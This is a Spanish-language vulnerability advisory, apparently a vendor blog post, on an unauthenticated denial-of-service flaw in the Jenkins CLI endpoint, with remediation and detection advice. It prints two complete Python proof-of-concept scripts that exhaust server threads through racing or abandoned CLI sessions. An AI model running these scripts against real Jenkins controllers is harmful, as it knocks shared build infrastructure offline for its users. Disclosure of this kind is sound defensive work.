Tabla de contenidos

Title
Title
Tabla de contenidos
Tabla de contenidos
Tabla de contenidos
Title
Title
Title

Ataques

CVE-2025-67635: DoS no autenticado en el endpoint full-duplex de Jenkins CLI

cover-jenkins-cli-unauth-dos (https://unsplash.com/photos/a-black-and-white-photo-of-a-staircase-315M82HdrH4)
cover-jenkins-cli-unauth-dos (https://unsplash.com/photos/a-black-and-white-photo-of-a-staircase-315M82HdrH4)
cover-jenkins-cli-unauth-dos (https://unsplash.com/photos/a-black-and-white-photo-of-a-staircase-315M82HdrH4)
cover-jenkins-cli-unauth-dos (https://unsplash.com/photos/a-black-and-white-photo-of-a-staircase-315M82HdrH4)
Camilo Vera

Analista de seguridad

Actualizado

12 dic 2025

5 min

TL;DR:

  • El endpoint del plain CLI de Jenkins (/cli?remoting=false) empareja dos peticiones POST (download/upload) a través de un UUID de Session compartido y es accesible sin permisos Overall/Read.

  • Se encadenan dos bugs: Un HashMap no sincronizado en CLIAction pierde una mitad de la sesión (race condition), y los loops de espera del protocolo CLI (ServerSideImpl.run, FullDuplexHttpService.upload) no tienen timeout.

  • Un atacante puede finalizar sus llamadas HTTP en milisegundos mientras dejan threads de Jetty durante 15 segundos (ventana de la race condition) o indefinidamente (protocolo abandonado), causando DoS asimétrico en todo el controller.

  • Afecta a core ≤ 2.540 y LTS ≤ 2.528.2 (CWE-362/CWE-404, CVSS: 7,5). Se solucionó en 2.541 y 2.528.3 usando ConcurrentHashMap, agregando timeouts en el handshake y cerrando streams en caso de error.

  • ¿Cómo mitigarlo ahora mismo? Actualiza, o bloquea el acceso al endpoint del plain CLI desde redes no confiables y captura thread dumps para confirmar que no haya threads atascados en CLIAction$ServerSideImpl.run o FullDuplexHttpService.upload/download.

¿Qué hace el endpoint?

El CLI sin Remoting construye un canal de full-duplex a partir de dos POSTs de HTTP:

  1. Lado download: Side: download, abre /cli?remoting=false, el servidor escribe un byte y espera la mitad de upload

  2. Lado de carga: Side: upload, mismo UUID de Session, provee el input stream

hudson.cli.CLIAction conecta esto con jenkins.util.FullDuplexHttpService, almacenando las sesiones activas en un registro común entre peticiones.

Raíz del problema #1: Registro de sesiones no sincronizado (condición de carrera)

CLIAction mantiene el mapa de sesión en un HashMap simple compartido por todos los hilos de solicitud:

// core/src/main/java/hudson/cli/CLIAction.java:83
private final transient Map<UUID, FullDuplexHttpService> duplexServices = new HashMap<>();

FullDuplexHttpService.Response.generateResponse llama a services.put(uuid, service) para el lado de descarga, y services.get(uuid) para el lado de carga. Debido a que HashMap no es seguro para hilos, las entradas/recibos concurrentes bajo carga pueden

  • devolver null para un lado de descarga válido;

  • caer entradas durante un redimensionamiento;

  • dejar hilos de descarga dentro de FullDuplexHttpService.download esperando hasta 15s por una carga que ya había llegado.

El resultado: Cada par en carrera ocupa un hilo de servlet durante todo el tiempo de espera mientras los sockets del atacante se cierran de inmediato, causando un DoS asimétrico y violando el requisito de seguridad “Hacer que los flujos de lógica crítica sean seguros para hilos”.

Raíz del problema #2: Faltan tiempos de espera del protocolo (bloqueo determinista)

Aún cuando las dos mitades se emparejan correctamente, el apretón de manos del protocolo puede bloquearse porque ninguno de los lados caduca:

// core/src/main/java/hudson/cli/CLIAction.java:300
synchronized (this) {
    while (!ready) {      // waits forever if client never sends "start"
        wait();
    }
}
// core/src/main/java/jenkins/util/FullDuplexHttpService.java:145
while (!completed) {       // no deadline if download side dies early
    wait();
}

Si el cliente corta la conexión antes de enviar los cuadros CLI, el hilo de descarga se bloquea en ServerSideImpl.run() y el hilo de carga se bloquea en upload() sin tiempo de espera, consumiendo dos hilos de Jetty por intento hasta que el controlador se agote.

Notas de explotación

Ambos vectores requieren solo accesibilidad de red a /cli:

  • Escenario A (condición de carrera): Dispare pares de descarga/carga superpuestos con ligera variación para que la mitad de carga ocasionalmente vea null. Los hilos se acumulan en FullDuplexHttpService.download durante ~15s cada uno.

  • Escenario B (abandono): abre ambas mitades, déjalas emparejar, luego cierra sin enviar cuadros CLI. Los hilos permanecen en CLIAction$ServerSideImpl.run y en FullDuplexHttpService.upload indefinidamente, sin ventana de temporización necesaria.

A continuación se presentan los PoCs exactos compartidos con el equipo de seguridad de Jenkins:

PoC: racecond_a.py ( carrera de HashMap, dos descargas por UUID)

#!/usr/bin/env python3
import requests
import uuid
import concurrent.futures
import sys

def create_download(jenkins_url, session_id, session):
    headers = {'Session': session_id, 'Side': 'download'}
    try:
        response = session.post(
            f"{jenkins_url}/cli?remoting=false",
            headers=headers,
            data=b'',
            timeout=20
        )
        return response.status_code
    except requests.exceptions.Timeout:
        return 'TIMEOUT'
    except Exception:
        return 'ERROR'

def main(jenkins_url, num_sessions):
    session = requests.Session()
    adapter = requests.adapters.HTTPAdapter(
        max_retries=0,
        pool_connections=200,
        pool_maxsize=200
    )
    session.mount('http://', adapter)
    session.mount('https://', adapter)
    
    with concurrent.futures.ThreadPoolExecutor(max_workers=200) as executor:
        futures = []
        
        for i in range(num_sessions):
            session_id = str(uuid.uuid4())
            futures.append(executor.submit(create_download, jenkins_url, session_id, session))
            futures.append(executor.submit(create_download, jenkins_url, session_id, session))
        
        timeouts = 0
        for future in concurrent.futures.as_completed(futures):
            if future.result() == 'TIMEOUT':
                timeouts += 1
    
    print(f"Timeouts: {timeouts}/{num_sessions*2}")

if __name__ == "__main__":
    jenkins_url = sys.argv[1] if len(sys.argv) > 1 else "http://localhost:8081"
    num_sessions = int(sys.argv[2]) if len(sys.argv) > 2 else 1000
    main(jenkins_url, num_sessions)

PoC: racecond_b.py (abandono del protocolo, bloqueo determinista)

#!/usr/bin/env python3
import socket
import struct
import uuid
import time
import threading
import sys

JENKINS_HOST = "localhost"
JENKINS_PORT = 8081

OP_ARG = 0
OP_LOCALE = 1
OP_ENCODING = 2

def send_cli_frame(sock, opcode, data=b""):
    if isinstance(data, str):
        data = data.encode('utf-8')
    length = len(data)
    frame = struct.pack('>I', length) + struct.pack('B', opcode) + data
    sock.sendall(frame)

def establish_download(session_id, duration=30):
    try:
        sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        sock.connect((JENKINS_HOST, JENKINS_PORT))
        request = f"""POST /cli?remoting=false HTTP/1.1\r
Host: {JENKINS_HOST}:{JENKINS_PORT}\r
Session: {session_id}\r
Side: download\r
Content-Length: 0\r
Connection: keep-alive\r
\r
"""
        sock.sendall(request.encode())
        response = b""
        while b"\r\n\r\n" not in response:
            chunk = sock.recv(1)
            if not chunk:
                return False
            response += chunk
        sock.recv(1)
        time.sleep(duration)
        sock.close()
        return True
    except Exception:
        return False

def establish_upload_without_start(session_id, duration=30):
    try:
        sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        sock.connect((JENKINS_HOST, JENKINS_PORT))
        request = f"""POST /cli?remoting=false HTTP/1.1\r
Host: {JENKINS_HOST}:{JENKINS_PORT}\r
Session: {session_id}\r
Side: upload\r
Transfer-Encoding: chunked\r
Connection: keep-alive\r
\r
"""
        sock.sendall(request.encode())
        response = b""
        while b"\r\n\r\n" not in response:
            chunk = sock.recv(1)
            if not chunk:
                return False
            response += chunk
        send_cli_frame(sock, OP_ARG, "help")
        time.sleep(0.05)
        send_cli_frame(sock, OP_LOCALE, "en_US")
        time.sleep(0.05)
        send_cli_frame(sock, OP_ENCODING, "UTF-8")
        time.sleep(duration)
        sock.close()
        return True
    except Exception:
        return False

def create_abandoned_session(session_id, duration=30):
    download_thread = threading.Thread(
        target=establish_download,
        args=(session_id, duration),
        daemon=True
    )
    download_thread.start()
    time.sleep(0.3)
    upload_thread = threading.Thread(
        target=establish_upload_without_start,
        args=(session_id, duration),
        daemon=True
    )
    upload_thread.start()
    return download_thread, upload_thread

def main(num_sessions):
    threads = []
    for i in range(num_sessions):
        session_id = str(uuid.uuid4())
        download_t, upload_t = create_abandoned_session(session_id, duration=60)
        threads.extend([download_t, upload_t])
        time.sleep(0.1)
    
    for t in threads:
        t.join()
    
    print(f"Created {num_sessions} sessions")

if __name__ == "__main__":
    num_sessions = int(sys.argv[1]) if len(sys.argv) > 1 else 500
    main(num_sessions)

evidencia

  • Dump de hilos (Escenario B, controlador de prueba Jenkins 2.516.2): Atascado en los sitios de llamada exactos sin tiempo de espera:

at hudson.cli.CLIAction$ServerSideImpl.run(CLIAction.java:319)
- locked <0x00000000f0d9ba90> (a hudson.cli.CLIAction$ServerSideImpl)
at jenkins.util.FullDuplexHttpService.download(FullDuplexHttpService.java:119)

at jenkins.util.FullDuplexHttpService.upload(FullDuplexHttpService.java:146)
- locked <0x00000000f0d9aaa0> (a hudson.cli.CLIAction$PlainCliEndpointResponse$1)
at jenkins.util.FullDuplexHttpService$Response.generateResponse(FullDuplexHttpService.java:191)
  • evidencia en video: Reproducción de caos end-to-end contra un controlador fresco:

  • En una construcción vulnerable, verás docenas de hilos de solicitud esperando en esos sitios de llamada, y las llamadas CLI regulares comienzan a agotar el tiempo.

Impacto

  • DoS no autenticado: no se requiere Overall/Read para acceder a /cli?remoting=false

  • Coste bajo para el atacante: Los sockets se cierran de inmediato, el servidor sostiene el trabajo (15s por intento de carrera, infinito por abandono)

  • Degradación en todo el controlador: Los hilos de servlet y los flujos de E/S se acumulan, otros puntos de acceso agotan el tiempo

Detalles de la corrección

Compromiso central: efa1816

  • CLIAction ahora almacena sesiones en un ConcurrentHashMap, eliminando las caídas del HashMap que alimentaban el DoS asimétrico.

  • ServerSideImpl.run y FullDuplexHttpService.upload adoptaron esperas limitadas por CONNECTION_TIMEOUT con despertadores de 1s y registros de DEBUG, para que los apretones de manos abandonados se deshagan en lugar de aparcar hilos.

  • PlainCLIProtocol siempre llama a side.handleClose() en un bloque finally, asegurando que ambas mitades se desmantelen incluso en errores de lectura o excepciones en tiempo de ejecución.

  • La cobertura de regresión se encuentra en Security3630Test (JUnit 5): reduce el tiempo de espera de CLI para pruebas, ejercita la carrera anterior con invocaciones CLI concurrentes y afirma que los hilos se liberan después de flujos truncados.

  • Efecto neto: la emparejamiento de descarga/carga de CLI ahora falla rápidamente y libera hilos de Jetty en lugar de bloquear indefinidamente en contrapartes faltantes.

  • Los cambios devuelven la ruta CLI de dúplex completo a la conformidad con el requisito “Hacer que los flujos de lógica crítica sean seguros para hilos”.

Referencias CVE y asesoría

Corrección y fortalecimiento

Si no puede actualizar de inmediato, haga lo siguiente:

  • Desactive o encienda el firewall en el punto final de CLI plano, prefiera el CLI de WebSocket con autenticación adecuada.

  • Reduzca los límites de hilos de Jetty solo como último recurso (no elimina el error).

  • Monitoree los volcado de hilos para CLIAction$ServerSideImpl.run y FullDuplexHttpService.upload/download estados de espera.

Indicadores de compromiso

  • Repetidos IOException: No se encontró el lado de descarga para <uuid> en los registros.

  • Descargas de hilos que muestran muchos TIMED_WAITING en FullDuplexHttpService.download o WAITING en CLIAction$ServerSideImpl.run / FullDuplexHttpService.upload.

  • Picos en solicitudes de /cli?remoting=false que carecen de encabezados de autenticación.

Corrija puntualmente. Este es un camino de DoS accesible por red en las implementaciones predeterminadas de Jenkins.

Get started with Fluid Attacks' PTaaS right now

Etiquetas:

ciberseguridad

vulnerabilidad

software

exploit

pentesting

Suscríbete a nuestro boletín

Mantente al día sobre nuestros próximos eventos y los últimos blog posts, advisories y otros recursos interesantes.

Inicia tu prueba gratuita de 21 días

Descubre los beneficios de nuestra solución Hacking Continuo, de la que ya disfrutan empresas de todos los tamaños.

Inicia tu prueba gratuita de 21 días

Descubre los beneficios de nuestra solución Hacking Continuo, de la que ya disfrutan empresas de todos los tamaños.

Inicia tu prueba gratuita de 21 días

Descubre los beneficios de nuestra solución Hacking Continuo, de la que ya disfrutan empresas de todos los tamaños.

Inicia tu prueba gratuita de 21 días

Descubre los beneficios de nuestra solución Hacking Continuo, de la que ya disfrutan empresas de todos los tamaños.

Las soluciones de Fluid Attacks permiten a las organizaciones identificar, priorizar y remediar vulnerabilidades en su software a lo largo del SDLC. Con el apoyo de la IA, herramientas automatizadas y pentesters, Fluid Attacks acelera la mitigación de la exposición al riesgo de las empresas y fortalece su postura de ciberseguridad.

SOC 2 Type II

SOC 3

Lee un resumen de Fluid Attacks

Suscríbete a nuestro boletín

Mantente al día sobre nuestros próximos eventos y los últimos blog posts, advisories y otros recursos interesantes.

Las soluciones de Fluid Attacks permiten a las organizaciones identificar, priorizar y remediar vulnerabilidades en su software a lo largo del SDLC. Con el apoyo de la IA, herramientas automatizadas y pentesters, Fluid Attacks acelera la mitigación de la exposición al riesgo de las empresas y fortalece su postura de ciberseguridad.

SOC 2 Type II

SOC 3

Suscríbete a nuestro boletín

Mantente al día sobre nuestros próximos eventos y los últimos blog posts, advisories y otros recursos interesantes.

Mantente al día sobre nuestros próximos eventos y los últimos blog posts, advisories y otros recursos interesantes.

Las soluciones de Fluid Attacks permiten a las organizaciones identificar, priorizar y remediar vulnerabilidades en su software a lo largo del SDLC. Con el apoyo de la IA, herramientas automatizadas y pentesters, Fluid Attacks acelera la mitigación de la exposición al riesgo de las empresas y fortalece su postura de ciberseguridad.

SOC 2 Type II

SOC 3

Suscríbete a nuestro boletín

Mantente al día sobre nuestros próximos eventos y los últimos blog posts, advisories y otros recursos interesantes.

Mantente al día sobre nuestros próximos eventos y los últimos blog posts, advisories y otros recursos interesantes.